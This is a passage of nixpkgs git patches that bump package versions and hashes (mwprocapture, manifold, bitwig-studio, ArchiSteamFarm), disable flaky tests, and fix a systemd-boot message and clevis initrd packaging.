+++ b/pkgs/development/python-modules/opensfm/default.nix
@@ -125,6 +125,7 @@ buildPythonPackage rec {
   disabledTests =
     [
       "test_run_all" # Matplotlib issues. Broken integration is less useless than a broken build
+      "test_match_candidates_from_metadata_bow" # flaky
     ]
     ++ lib.optionals stdenv.hostPlatform.isDarwin [
       "test_reconstruction_incremental"

From 3d7ec5ab2822d224f5c5414f1aa8aba116998a5c Mon Sep 17 00:00:00 2001
From: Martin Wimpress <martin@wimpress.org>
Date: Mon, 5 May 2025 15:22:37 +0100
Subject: [PATCH 0528/4511] linuxPackages.mwprocapture: 1.3.0.4390 -> 1.3.4418
 #403297

Version V1.3.0.4390 of mwprocapture (the Linux driver for the Magewell Pro Capture family) FTBFS when building against Linux 6.12 or newer.

Magewell offer a revised driver. This pull request updates the driver version to 1.3.4418 to address this issue. *Note the version numbering has changed in this release*.

Vendor change log:
- Fix the compatibility issue of the kernel driver for RHEL9.4.
- Add the preset function for contrast/brightness/saturation/hue values.
- Support the installation of drivers in a Secure Boot environment.

Tested using a Magewell Pro Capture Dual HDMI (11080) and Magewell Pro Capture Quad HDMI (11100). This fixes #403297

(cherry picked from commit b5d7937b88d9b9f2e0f33951ed03bf43270cfb3d)
---
 pkgs/os-specific/linux/mwprocapture/default.nix | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/pkgs/os-specific/linux/mwprocapture/default.nix b/pkgs/os-specific/linux/mwprocapture/default.nix
index 28c2e11e429c..9dfc04ede158 100644
--- a/pkgs/os-specific/linux/mwprocapture/default.nix
+++ b/pkgs/os-specific/linux/mwprocapture/default.nix
@@ -18,12 +18,12 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "mwprocapture";
-  subVersion = "4390";
-  version = "1.3.0.${subVersion}-${kernel.version}";
+  subVersion = "1.3.4418";
+  version = "${subVersion}-${kernel.version}";
 
   src = fetchurl {
     url = "https://www.magewell.com/files/drivers/ProCaptureForLinux_${subVersion}.tar.gz";
-    sha256 = "sha256-a2cU7PYQh1KR5eeMhMNx2Sc3HHd7QvCG9+BoJyVPp1Y=";
+    sha256 = "sha256-ZUqJkARhaMo9aZOtUMEdiHEbEq10lJO6MkGjEDnfx1g=";
   };
 
   nativeBuildInputs = kernel.moduleBuildDependencies;
@@ -65,11 +65,12 @@ stdenv.mkDerivation rec {
       "$out"/bin/mwcap-info
   '';
 
-  meta = with lib; {
+  meta = {
     homepage = "https://www.magewell.com/";
     description = "Linux driver for the Magewell Pro Capture family";
-    license = licenses.unfreeRedistributable;
-    maintainers = with maintainers; [ flexiondotorg ];
-    platforms = platforms.linux;
+    license = lib.licenses.unfreeRedistributable;
+    maintainers = with lib.maintainers; [ flexiondotorg ];
+    platforms = lib.platforms.linux;
+    broken = lib.versionAtLeast kernel.version "6.15";
   };
 }

From cdbf8c80331ab73aebeed28546921c366c6655a0 Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Mon, 2 Jun 2025 00:16:46 +0200
Subject: [PATCH 0529/4511] manifold: 3.1.0 -> 3.1.1

Diff: https://github.com/elalish/manifold/compare/v3.1.0...v3.1.1
(cherry picked from commit 78415f13c1e0084cc9c3626f5e5d64da261a41c0)
---
 pkgs/by-name/ma/manifold/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/manifold/package.nix b/pkgs/by-name/ma/manifold/package.nix
index 4a0edc05a35e..296953af1209 100644
--- a/pkgs/by-name/ma/manifold/package.nix
+++ b/pkgs/by-name/ma/manifold/package.nix
@@ -11,13 +11,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "manifold";
-  version = "3.1.0";
+  version = "3.1.1";
 
   src = fetchFromGitHub {
     owner = "elalish";
     repo = "manifold";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-GymlaLs6LIG/252suYnFrgeT1jwrYeIXMo++LCjFHD4=";
+    hash = "sha256-dCCTjWRjXSyuEDxGI9ZS2UTmLdZVSmDOmHFnhox3N+4=";
   };
 
   nativeBuildInputs = [ cmake ];

From 68bdb0b6287ba63eed04e245a3ff04af0597db3a Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Mon, 2 Jun 2025 00:16:58 +0200
Subject: [PATCH 0530/4511] python313Packages.manifold3d: 3.1.0 -> 3.1.1

Changelog: https://github.com/elalish/manifold/releases/tag/v3.1.1
(cherry picked from commit c9dc80f3c97bd860885268a414ae2be2e7c8ff19)
---
 pkgs/development/python-modules/manifold3d/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/manifold3d/default.nix b/pkgs/development/python-modules/manifold3d/default.nix
index 6b089117fcdb..805d35f1d78e 100644
--- a/pkgs/development/python-modules/manifold3d/default.nix
+++ b/pkgs/development/python-modules/manifold3d/default.nix
@@ -17,14 +17,14 @@
 
 buildPythonPackage rec {
   pname = "manifold3d";
-  version = "3.1.0";
+  version = "3.1.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "elalish";
     repo = "manifold";
     tag = "v${version}";
-    hash = "sha256-GymlaLs6LIG/252suYnFrgeT1jwrYeIXMo++LCjFHD4=";
+    hash = "sha256-dCCTjWRjXSyuEDxGI9ZS2UTmLdZVSmDOmHFnhox3N+4=";
   };
 
   dontUseCmakeConfigure = true;

From 611aadab19e921f3ca71e6d2a363f74bc0b21851 Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Tue, 3 Jun 2025 16:18:48 +0200
Subject: [PATCH 0531/4511] openscad-unstable: disable failing tests due to
 manifold update

---
 pkgs/by-name/op/openscad-unstable/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/op/openscad-unstable/package.nix b/pkgs/by-name/op/openscad-unstable/package.nix
index 280f4035a5ce..2e357632851a 100644
--- a/pkgs/by-name/op/openscad-unstable/package.nix
+++ b/pkgs/by-name/op/openscad-unstable/package.nix
@@ -150,7 +150,8 @@ clangStdenv.mkDerivation rec {
   checkFlags = [
     "-E"
     # some fontconfig issues cause pdf output to have wrong font
-    "pdfexporttest"
+    # manifold update caused slight rendering changes
+    "pdfexporttest|amfrendermanifoldtest_(issue1105|bad-stl-pcbvicebar|bad-stl-tardis)"
   ];
 
   meta = with lib; {

From 077531fec987c291bf38ab53a73981bb594c045b Mon Sep 17 00:00:00 2001
From: Merleur l'enchantin <le.neko@gmail.com>
Date: Thu, 1 May 2025 20:40:57 +0200
Subject: [PATCH 0532/4511] bitwig-studio: 5.3.5 -> 5.3.8

(cherry picked from commit ec71f25aca0c85f41f599bf83de9df2301f98fef)
---
 pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix b/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix
index 38f8f1cac98c..a7eafdf1d201 100644
--- a/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix
+++ b/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix
@@ -31,12 +31,12 @@
 
 stdenv.mkDerivation rec {
   pname = "bitwig-studio-unwrapped";
-  version = "5.3.5";
+  version = "5.3.8";
 
   src = fetchurl {
     name = "bitwig-studio-${version}.deb";
     url = "https://www.bitwig.com/dl/Bitwig%20Studio/${version}/installer_linux/";
-    hash = "sha256-dfEWOQTZVMUb6v+u2wQlFgTXupokFTjWgKKA6W/Rrzc=";
+    hash = "sha256-ccDgNsKskEsaL3G5ISZUMckvFosMALFzEzOM9D4/Xgo=";
   };
 
   nativeBuildInputs = [

From 976b85a9349f23fd89e968c3dc06c64f478bf3bb Mon Sep 17 00:00:00 2001
From: Merleur l'enchantin <le.neko@gmail.com>
Date: Sun, 18 May 2025 00:50:21 +0200
Subject: [PATCH 0533/4511] bitwig-studio: fix missing lcms dependency

(cherry picked from commit ca8ccdb5f20dfc080a87d7b92a5fb4ee0cf3248c)
---
 pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix b/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix
index a7eafdf1d201..b4918bcd7eb6 100644
--- a/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix
+++ b/pkgs/applications/audio/bitwig-studio/bitwig-studio5.nix
@@ -11,6 +11,7 @@
   glib,
   gtk3,
   harfbuzz,
+  lcms,
   lib,
   libglvnd,
   libjack2,
@@ -57,6 +58,7 @@ stdenv.mkDerivation rec {
     glib
     gtk3
     harfbuzz
+    lcms
     libglvnd
     libjack2
     # libjpeg8 is required for converting jpeg's to colour palettes

From 7c0f154132b856f1b8618be3c011a215252d10eb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Tue, 20 May 2025 15:38:57 +0200
Subject: [PATCH 0534/4511] systemd-boot: improve error message if no previous
 systemd boot is found.

(cherry picked from commit b6c1663986621a7080914891eb4cd30ed55076f0)
---
 .../system/boot/loader/systemd-boot/systemd-boot-builder.py     | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/system/boot/loader/systemd-boot/systemd-boot-builder.py b/nixos/modules/system/boot/loader/systemd-boot/systemd-boot-builder.py
index 380ac69bdf7e..bd2a6d43301d 100644
--- a/nixos/modules/system/boot/loader/systemd-boot/systemd-boot-builder.py
+++ b/nixos/modules/system/boot/loader/systemd-boot/systemd-boot-builder.py
@@ -335,7 +335,7 @@ def install_bootloader(args: argparse.Namespace) -> None:
         available_match = re.search(r"^\((.*)\)$", available_out)
 
         if installed_match is None:
-            raise Exception("could not find any previously installed systemd-boot")
+            raise Exception("Could not find any previously installed systemd-boot. If you are switching to systemd-boot from a different bootloader, you need to run `nixos-rebuild switch --install-bootloader`")
 
         if available_match is None:
             raise Exception("could not determine systemd-boot version")

From a776cc522e3e8a564d75d26dbf5cf24310f6ad3f Mon Sep 17 00:00:00 2001
From: Julien Malka <julien@malka.sh>
Date: Sun, 25 May 2025 01:34:06 +0200
Subject: [PATCH 0535/4511] nixos/clevis: fix clevis in scripted initrd

Fixes #389750

(cherry picked from commit 9655143028169f56b10f658ee58bdc20db6cda6e)
---
 nixos/modules/system/boot/clevis.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/system/boot/clevis.nix b/nixos/modules/system/boot/clevis.nix
index cd174d363547..881a6452d9c9 100644
--- a/nixos/modules/system/boot/clevis.nix
+++ b/nixos/modules/system/boot/clevis.nix
@@ -81,7 +81,7 @@ in
       extraUtilsCommands = lib.mkIf (!systemd.enable) ''
         copy_bin_and_libs ${pkgs.jose}/bin/jose
         copy_bin_and_libs ${pkgs.curl}/bin/curl
-        copy_bin_and_libs ${pkgs.bash}/bin/bash
+        copy_bin_and_libs ${pkgs.bashNonInteractive}/bin/bash
 
         copy_bin_and_libs ${pkgs.tpm2-tools}/bin/.tpm2-wrapped
         mv $out/bin/{.tpm2-wrapped,tpm2}
@@ -95,7 +95,7 @@ in
         done
 
         for BIN in $out/bin/clevis{,-decrypt{,-null,-tang,-tpm2}}; do
-          sed -i $BIN -e 's,${pkgs.bash},,' -e 's,${pkgs.coreutils},,'
+          sed -i $BIN -e 's,${pkgs.bashNonInteractive},,' -e 's,${pkgs.coreutils},,'
         done
 
         sed -i $out/bin/clevis-decrypt-tpm2 -e 's,tpm2_,tpm2 ,'

From 209530d3bc3ba5742fd1e806426006de17f90fc0 Mon Sep 17 00:00:00 2001
From: Ludovico Piero <lewdovico@gnuweeb.org>
Date: Tue, 3 Jun 2025 05:07:52 +0900
Subject: [PATCH 0536/4511] ArchiSteamFarm: 6.1.5.2 -> 6.1.6.7

Changelog: https://github.com/JustArchiNET/ArchiSteamFarm/releases/tag/6.1.6.7

Signed-off-by: Ludovico Piero <lewdovico@gnuweeb.org>
(cherry picked from commit edb16bf7674f82e322a870822b4b8792da1b79e9)
---
 .../misc/ArchiSteamFarm/default.nix           |   4 +-
 .../misc/ArchiSteamFarm/deps.json             | 407 +++++++++---------
 .../misc/ArchiSteamFarm/web-ui/default.nix    |   6 +-
 3 files changed, 201 insertions(+), 216 deletions(-)

diff --git a/pkgs/applications/misc/ArchiSteamFarm/default.nix b/pkgs/applications/misc/ArchiSteamFarm/default.nix
index ae52a8f37aa9..148b8dcb777e 100644
--- a/pkgs/applications/misc/ArchiSteamFarm/default.nix
+++ b/pkgs/applications/misc/ArchiSteamFarm/default.nix
@@ -12,13 +12,13 @@
 buildDotnetModule rec {
   pname = "ArchiSteamFarm";
   # nixpkgs-update: no auto update
-  version = "6.1.5.2";
+  version = "6.1.6.7";
 
   src = fetchFromGitHub {
     owner = "JustArchiNET";
     repo = "ArchiSteamFarm";
     rev = version;
-    hash = "sha256-BETlzGL/5IjXajyyvQtYb0Q0sra4BILSL9fX4BNPNSI=";
+    hash = "sha256-XdnKcWzw/d7yLG2efgw/gQ8UkPjExigffbomTD3YUgE=";
   };
 
   dotnet-runtime = dotnetCorePackages.aspnetcore_9_0;
diff --git a/pkgs/applications/misc/ArchiSteamFarm/deps.json b/pkgs/applications/misc/ArchiSteamFarm/deps.json
index c4e14a7559e8..e7af742d589f 100644
--- a/pkgs/applications/misc/ArchiSteamFarm/deps.json
+++ b/pkgs/applications/misc/ArchiSteamFarm/deps.json
@@ -11,263 +11,263 @@
   },
   {
     "pname": "Humanizer",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-QIQFZYsW58l1xi9iw5VyAzo9bCCAojHQKXi0+dMH86Y="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-j5g415a02zfIeLXopx3qd0h690ntRNaft3YwpBhsmXE="
   },
   {
     "pname": "Humanizer.Core",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-KQdtkJ1uqstncqPmvWNW/PwMenyw1bW54P9unDVtO0Y="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-IfxxqpLbVmVTm9NA0mdcwGYgTbl+CaH0nTMUZNDU/1w="
   },
   {
     "pname": "Humanizer.Core.af",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-b2F23Ntez1spMh+H90P1yIMzTghyLSw6SoQgSoH7MGI="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-HlLezoFw1Bc4kQ4RkgLDBRUUr5mYt48DwjRGTO+s7bI="
   },
   {
     "pname": "Humanizer.Core.ar",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-deIHuegZjN178w9bHU3QgG5wUSm3ZeepyHihBdiXbtQ="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-f3rf+bFcdXs2/jhbUvOKknSkUV4QdFlA/IsY2rX3XYg="
   },
   {
     "pname": "Humanizer.Core.az",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-jFMlxjSVIz2Qiv4DSHK2U8OqyBWL9juQOlB2xrC84YE="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-TuKZItSJk3FonM7hltI3gjzvUkGY3dnEm5i/c411oEw="
   },
   {
     "pname": "Humanizer.Core.bg",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-MfCHFo3SjU3QScfD/TQuV7FdR18i6EQVb/ophQY/6Yk="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-KQIxMSWtc6OdDFhBziB/8ii9owzUoF8kvAmNI+wgL08="
   },
   {
     "pname": "Humanizer.Core.bn-BD",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-lBSo0VFbuIagbznWWK7U+ecr3jz7dBGwFvCx3ligXsk="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-yXH129xJi37oewDATPSfnMcFa6dJviEK/u50aM12tVw="
   },
   {
     "pname": "Humanizer.Core.cs",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-mhD6davLTy+v1tatG7wBYQdpo204hTKureuVpx8E7MA="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-5jUP0tsD8VLrRY9Uja8+QH+U4C3IWlemUoEECaCpt5w="
   },
   {
     "pname": "Humanizer.Core.da",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-5mE9JXGhBichj39Ds8ue4NOymzUQIjjJnSO84fZKK+c="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-IoqaQH6b31XXTVqHvFcnTTfHI44cWCUo0Cj9ssBxZTo="
   },
   {
     "pname": "Humanizer.Core.de",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-AknBQzk94LVu2NY2QYJqjCI11pfpLXi2pLgelZCpvds="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-EDO4GYHtgINO0r49VjXX3o3B3mYvcDGTmKOvBHebh2o="
   },
   {
     "pname": "Humanizer.Core.el",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-O8XR1zUP1lk3OFFI1vtwvzXOoLQfN7LxQlR6MEumPKM="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-pmnL1t8CBj+HiCQuQ2piOp2ub5jNf8ehXjGIVR2QxOo="
   },
   {
     "pname": "Humanizer.Core.es",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-Mp5SZwO5TOhK+wghOxEoKySlH19xx2Vs80pD8zJuWQU="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-YUc4qUCwEg8o3aibHBqr/De3X6tPZh4WESimLKTLtIg="
   },
   {
     "pname": "Humanizer.Core.fa",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-ONY2tAvoVpGbR3rFUsNfN3ldkjb9okH6GNTN72P983Y="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-2UCx9TETfq8ic37h+7kxDtcTDjR23P958q4rg+cDHe4="
   },
   {
     "pname": "Humanizer.Core.fi-FI",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-NgdDNR8qtQYFx8qBcy3ybPqWRBqKy4w7xrL4F/79SvI="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-9VaVmg9c/cLjLO3piDMFT+92la14I/K8QIl7L4z8qeY="
   },
   {
     "pname": "Humanizer.Core.fr",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-/aGQGAB4FIZ9P6ah+weq39XOC0MZMGOvhgainLIYvk4="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-pATUaMZ+W+S+EnqdrfnA8KEWwfwNiPMd9KBFGG+n89k="
   },
   {
     "pname": "Humanizer.Core.fr-BE",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-bLNidoLR5tZASSP85DCX2QjTPTgqoFZDLsZXov3ec8Q="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-eBqr+WNi77NM3XxD/imhB9z69pazkeGDZ8Tq/2JZ3tU="
   },
   {
     "pname": "Humanizer.Core.he",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-Ef0yaO9mbcHqpUhruZpWZgGcLtEZEu4yRC0nvujTOKQ="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-dDmmG8lTEAyeLy2Twsq7FgyN+iXbOzorHwrmbrBbyX4="
   },
   {
     "pname": "Humanizer.Core.hr",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-Loifax8U+8ho/Gyw2NcwNFywleKYNB1Hr9waTHGjmrg="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-JXN3Di1KCE8XXZG6Im3LX2MUYRGP+7vgdh5BYNX1qNQ="
   },
   {
     "pname": "Humanizer.Core.hu",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-tPgZGD2AE68c67Rrpo5PK15q9ZXP7RwttaGwGfUp4lU="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-zIvOmEc9dTuK2eUc3NoGHSf4NW1Py2jyNWcQnSwz8FU="
   },
   {
     "pname": "Humanizer.Core.hy",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-YWwDuwrilm22gzCMui+u71Q+FVg/kMxVa8xCX2v+isU="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-KcRfspYR53gLZwXkiOxLge6EVJYAOYvJ0JOg3k7K1jA="
   },
   {
     "pname": "Humanizer.Core.id",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-SZYleWmQ10OguOylRlgct7TVN8Sc2vrs4g492fteghM="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-kV3cNRjmAc0ES+mbi1pGdNRETCUD561xpVw+MCxGfuw="
   },
   {
     "pname": "Humanizer.Core.is",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-7xIFwbQqqcFZhJFgQGgcDj0aS9GCkzk5hoxpUSPVfG0="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-YQnowTdXsOS68t6Dw49Lbe++h3nGW74ycqd+fNHpGXU="
   },
   {
     "pname": "Humanizer.Core.it",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-ckKN4D4Ae/TsxytAeqznNMgzT+Jv82x2MQSnZJMios4="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-ukEwnf2qgXnIG1HLbKgBsxGO5doNbsSa4QUEGvlwoK4="
   },
   {
     "pname": "Humanizer.Core.ja",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-kHZAfhn8FXJTND/09ue7wpD7WpGxCWHHpn0CgypJLqw="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-Xb1JtMPGOIoWJ+ZxJe2Y0Xarjh8OyummCjRvvSQtkRo="
   },
   {
     "pname": "Humanizer.Core.ko-KR",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-zLT2nlRba85r85s2Bt9WSJwuueYSr3xLwJHOW8Soy20="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-1qMa6+AioW2jEvofeGbVlClV35E/hCqa7tK+u/WospA="
   },
   {
     "pname": "Humanizer.Core.ku",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-Ef+QUC0b3kE6HmTa8CQinsHyd+ehpFlFxtmr5A/E9dE="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-fCmhmrg6OpKY4un34jXrtfhJVIGTb9njmqaARc1oFsw="
   },
   {
     "pname": "Humanizer.Core.lb",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-5hP1M9H+6uo7inDJMYNAjo0r/V3lIPb3mnmUKFe+CCw="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-TtoGk0HVyMJZS6T0RBtjJo+ZnPBh1F7dyBGOjmzsw3U="
   },
   {
     "pname": "Humanizer.Core.lt",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-SVDSW5CLqGL0SzqIJF+LbPuKmD/92CA/xjgsDXucNc8="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-3YvbbXkg3Ys2Wyr11e8PimW7VKGnfnwhpLJgBHEZBXk="
   },
   {
     "pname": "Humanizer.Core.lv",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-idNNH20jP++HlWli9FAcNoDsGz4Tc5UST4gxlb/ZvJA="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-9ETnR+b4opyt+cGINZUjxu/p6p0R9VAUt7GFwOLaip8="
   },
   {
     "pname": "Humanizer.Core.ms-MY",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-aOrRmEDXCbN9Fmf0uUFn2zFePDT1uC6/gvqEThH4Frg="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-iTLujZifN53wwK13W0UfE4/4YwrHtPsOpoy93pp84zs="
   },
   {
     "pname": "Humanizer.Core.mt",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-B5mZrT0iTnfcxAOWNXt+SOXYi1klCqjPiP58p05gfFs="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-swb9rDwpOUxQA+0bDRuHUoSi8IlVWwhKh4IOWUXj5XA="
   },
   {
     "pname": "Humanizer.Core.nb",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-+vGxff/C9l6P40MCy24ZEcS+GwlYQoBCjOv1TgX7ZZ0="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-fgfkXoLB20nZ2+9Fk//f92wtgFzzGlGgOUIaq1ZEAj8="
   },
   {
     "pname": "Humanizer.Core.nb-NO",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-PdAieSuOp883+5fQY4OQYhMXgclTaX7RYSRQgmJcuWM="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-KV5xFk0yb5M8FVx+gNYB55T9ZXrxiUKtAPQ/Jp2BfHM="
   },
   {
     "pname": "Humanizer.Core.nl",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-hwpUHNioWLXOAPePZ6atdfm9B2mrv3YDUinxtp5l5cQ="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-C0yQ30cv2O0qblHIqxXGfo4g1tsWn/OAth74395/PqY="
   },
   {
     "pname": "Humanizer.Core.pl",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-MTxJ+XGfR/ShDV5HlI5iOQ8fJpwhLuk+ELwipgz/SYM="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-psyNq8gVxLd+V504bUsak4sBeAMwu+LkDn10LFFTdfY="
   },
   {
     "pname": "Humanizer.Core.pt",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-cshgIqnIU+28cIKiGX4aojdDdAVu0Y3oTo9LPfuuxmk="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-EvE2a92ATKLnYVeRKqiTcf+fbTl+GQzGzUy446QMZzk="
   },
   {
     "pname": "Humanizer.Core.ro",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-1RsFju1P3XCi+12zWH9jVhp3iQ1htPCq4A3DIE/dErI="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-15OBdIvHGNcadJPDR0KXS0S7qwKqKlkw6QyBz+mXoX0="
   },
   {
     "pname": "Humanizer.Core.ru",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-c5Ll2kUZm1vhDfkIblW2yi+MmQTSCrDmjaS9FkC63nc="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-uOeT1nJNfjCED8bH1yjfnNjVu6GQyEN1cveH17DwdhI="
   },
   {
     "pname": "Humanizer.Core.sk",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-MeFFOBinomAJ1aooldh2BfFi2jKl4gsf3rF6sqHiRRE="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-RfYnf8vo0LDa9PQh3x2W2h1afyz38eodZL79LVkmUG0="
   },
   {
     "pname": "Humanizer.Core.sl",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-ggOLhhI8RcjmG4nG6vJVK4EbubN/Mw1l1n8CchgMZJc="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-Ef8LiqVKu2KBJfjk1rMhMCE5BFoqMlbBTv5gw3RUgb8="
   },
   {
     "pname": "Humanizer.Core.sr",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-05yA3P0VMmRFfq0v0hCItNuYt++LDkBCk7ScYa3UOXw="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-SJKf2sbJbNIDoHR2zq9ZiLaOmkeCNEj89xY6E2TiTkY="
   },
   {
     "pname": "Humanizer.Core.sr-Latn",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-62kozBOCEdLM1W1AzqsoMHGtU3S3msK2uGTm7qxCf5Q="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-VjVVDD9vXrIX6EKXTAeDKpURngMUTHvMKPf+QUUee+k="
   },
   {
     "pname": "Humanizer.Core.sv",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-g+t6p+0AqyptEHkc+a1HKm77vBggMTNeqQf6KjeuygU="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-BcUiRvxzIufCtvGohMRx11ylzCChkROXZqWGQoxx/BA="
   },
   {
     "pname": "Humanizer.Core.th-TH",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-mGYaSb8TaThiJc+iJ1mj6zjzQOjQSbTlaGs4mZyAiQA="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-KXRnY+8aia06+A2akruD8H3NVNrHDaHafn0gqku5bMA="
   },
   {
     "pname": "Humanizer.Core.tr",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-NOeZorj9vNpsImBcUjqlc7bN1bugS1rS1/4QVV8oYMk="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-Xhm8K2sON5tzLvSXT5xrV+9WLIRqGkL8GL5xHijYlFQ="
   },
   {
     "pname": "Humanizer.Core.uk",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-fY/xIRXhIWofcCQg3aBJ9Jue0A8p1K7qEZjwGsJKpQ4="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-LJHY8KUSt0DY6gaTa+MTjhB6FjPnpaGf0nHn0hurctE="
   },
   {
     "pname": "Humanizer.Core.uz-Cyrl-UZ",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-vnFy9SKfYZXM0o824X1/bgoux+r0zCbblcYx7yj0PQU="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-Ac43MMgr9RWEaDDiR+omXNMVN6NyQcfBdrrhI7ONRDA="
   },
   {
     "pname": "Humanizer.Core.uz-Latn-UZ",
-    "version": "3.0.0-beta.54",
-    "hash": "sha256-5xUO7jqWUeq5OSNiiORBf/5Wa9faV8e0D0NQahGn4S4="
+    "version": "3.0.0-beta.96",
+    "hash": "sha256-PpnNZYmPmvozYS9QvKrIF9KmC2oq/uQBpoV19G/aUkI="
   },
   {
     "pname": "Humanizer.Core.vi",
